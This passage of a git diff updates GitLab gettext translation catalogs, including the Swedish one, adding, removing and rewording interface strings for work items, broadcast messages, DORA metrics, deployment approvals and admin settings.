+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47185,6 +47887,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47206,6 +47914,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47311,6 +48025,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47443,9 +48160,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47536,6 +48250,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47575,9 +48292,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47593,7 +48307,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47686,7 +48400,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47716,6 +48430,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47833,6 +48550,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47986,8 +48706,11 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "YouTube"
msgstr ""
@@ -48226,6 +48949,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48253,7 +48979,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48331,6 +49057,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48535,6 +49264,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48775,10 +49507,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48934,9 +49669,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49429,9 +50161,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49951,6 +50680,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50038,12 +50770,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50464,6 +51190,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/sv_SE/gitlab.po b/locale/sv_SE/gitlab.po
index 332f4585170..7238dc8bb4c 100644
--- a/locale/sv_SE/gitlab.po
+++ b/locale/sv_SE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sv-SE\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} kan inte läggas till: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} utgåva"
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
